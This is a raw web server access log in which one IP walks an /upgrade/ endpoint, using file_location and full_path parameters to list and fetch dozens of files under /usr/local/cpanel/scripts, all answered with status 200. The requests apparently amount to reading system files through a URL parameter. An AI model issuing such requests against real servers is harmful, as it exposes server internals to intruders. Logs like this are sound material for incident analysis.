45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_info&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39476 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_info&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmaintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 55116 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmaintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fresetmailmanurls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38723 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fresetmailmanurls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsafetybits.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsafetybits.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_known_proxy_ips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38287 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_known_proxy_ips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadduser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37817 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadduser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feditquota&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39188 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feditquota&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_packages&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39351 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_packages&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsynctransfers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38647 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsynctransfers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdetect_env_capabilities&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38000 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdetect_env_capabilities&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_ccs_to_cpdavd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 51550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_ccs_to_cpdavd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftry-later&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40662 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftry-later&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleandns8&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37946 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleandns8&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdistro_changed_hook&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38312 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdistro_changed_hook&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fea4_fresh_install&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fea4_fresh_install&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallpkg&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallpkg&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_whm_chrome&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38782 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_whm_chrome&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fssl_crt_status&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39251 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fssl_crt_status&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fagent360.sh&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fagent360.sh&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcall_pkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcall_pkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpwck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpwck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquota_auto_fix&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38452 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquota_auto_fix&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupgrade_bandwidth_dbs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38685 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupgrade_bandwidth_dbs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_mysql_systemd_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_mysql_systemd_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdateuserdatacache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdateuserdatacache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Faddpop&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Faddpop&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_user_php_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39914 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_user_php_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_rsyslog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154340 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_rsyslog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fservicedomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40643 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fservicedomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_neighbor_netblocks&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37524 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_neighbor_netblocks&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcopy_user_mail_as_root&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcopy_user_mail_as_root&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcreateacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37769 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcreateacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixrelayd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixrelayd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_tuxcare_els_php&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38542 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_tuxcare_els_php&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwwwacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwwwacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpdig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpdig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixwebalizer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38248 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixwebalizer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpurge_old_config_caches&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38732 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpurge_old_config_caches&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_mailman_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40635 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_mailman_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_unmonitored_enabled_services&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_unmonitored_enabled_services&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpbackup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 52115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpbackup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Femail_archive_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Femail_archive_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixtar&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixtar&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhttpspamdetect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhttpspamdetect&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pop3&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37973 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pop3&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2Fcpanel%2F HTTP/1.1" 200 5792 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2Fcpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanel_initial_install&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 61745 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanel_initial_install&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
